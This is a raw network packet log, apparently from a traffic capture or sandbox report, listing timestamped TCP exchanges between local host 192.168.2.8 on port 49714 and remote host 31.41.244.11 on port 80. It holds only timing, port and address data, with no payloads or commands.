Dec 18, 2024 09:07:18.312136889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312158108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312170982 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312210083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312211037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312263966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312266111 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312316895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312319040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312350988 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312361956 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312386036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312397003 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312421083 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312431097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312458992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312463045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312494040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312500000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312530994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312535048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312566042 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312573910 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312599897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312608004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312633991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312635899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312678099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.313069105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313105106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313112020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.313139915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.313263893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313302040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313319921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313352108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313368082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313380957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.313385010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313419104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313421965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.313433886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.313457012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313469887 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.313491106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313500881 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.313527107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.313539982 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.313570976 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.314079046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.314129114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.314131975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.314167023 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.314188004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.314203024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.314202070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.314248085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.314369917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.314405918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.314415932 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.314452887 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.314507008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.314553976 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.314599037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.314646006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.319295883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.319350958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.319427967 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.319581032 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.323839903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.323939085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.323950052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.323992014 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.328524113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.328579903 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.328648090 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.328695059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.333143950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.333195925 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.333197117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.333244085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.432389975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.432514906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.432574034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.434546947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.434710026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.434771061 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.439193010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.439347029 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.439404964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.443969965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.444166899 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.444225073 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.447807074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.447859049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.447930098 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.451378107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.451436043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.451503992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.454469919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.455168962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.455220938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.455223083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.457493067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.458620071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.458683968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.458731890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.458781004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.462362051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.462418079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.462421894 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.463473082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.465821981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.465917110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.465923071 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.466459990 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.469371080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.469476938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.469496012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.469537973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.472949028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.473001957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.473010063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.473046064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.476391077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.476486921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.476557970 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.480145931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.480310917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.480360985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.483696938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.483767986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.483772039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.483838081 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.487076044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.487178087 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.487212896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.487261057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.490609884 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.490726948 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.490778923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.494129896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.494265079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.494317055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.497654915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.497737885 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.497803926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.499456882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.501226902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.501358032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.501404047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.504762888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.504884958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.504933119 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.508313894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.508407116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.508455992 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.511864901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.511995077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.512038946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.515413046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.515552044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.515605927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.518975973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.519146919 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.519196033 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.522574902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.522687912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.522738934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.526010990 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.526129961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.526186943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.529584885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.529882908 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.529958010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.533112049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.533207893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.533262014 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.536644936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.536761999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.536812067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.540206909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.540338993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.540399075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.543795109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.543876886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.543927908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.547278881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.547354937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.547388077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.547444105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.550839901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.550909996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.551004887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.551155090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.554359913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.554481030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.554506063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.554565907 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.558005095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.558058977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.558115959 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.561482906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.561722994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.561794043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.565037966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.565114975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.565179110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.568552017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.568638086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.568711996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.572062016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.572278976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.572346926 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.575664997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.575743914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.575812101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.580046892 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.580167055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.580244064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.582760096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.582973003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.583044052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.586302042 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.586359978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.586375952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.587466955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.589847088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.589905024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.589957952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.590012074 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.593620062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.593734980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.593915939 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.596905947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.596988916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.597043991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.600405931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.600519896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.600581884 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.603992939 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.604059935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.604115963 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.607548952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.607662916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.607723951 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.611095905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.611136913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.611193895 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.611193895 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.614716053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.614916086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.614981890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.618052959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.618135929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.618326902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.621222973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.621296883 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.621345043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.623485088 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.624378920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.624442101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.624447107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.626471043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.627549887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.627613068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.627613068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.627671957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.630408049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.630561113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.630619049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.633342981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.633466959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.633523941 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.636210918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.636266947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.636327028 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.638999939 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.639100075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.639163017 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.641788960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.641882896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.641956091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.644382954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.644447088 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.644490957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.646986961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.647047997 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.647105932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.647535086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.649882078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.650062084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.650125980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.652601004 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.652702093 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.652770042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.655359030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.655492067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.655551910 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.657275915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.657330036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.657341957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.659466982 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.659802914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.659853935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.659928083 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.659980059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.662147045 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.662216902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.662313938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.662362099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.664417982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.664473057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.664525986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.666693926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.666757107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.666805983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.669034958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.669090986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.669181108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.671367884 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.671461105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.671693087 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.673724890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.673784018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.673789024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.673830986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.675944090 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.676052094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.676104069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.678141117 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.678277016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.678327084 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.680454969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.680505037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.680624008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.681545973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.682642937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.682763100 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.682807922 CET	49714	80	192.168.2.8	31.41.244.11
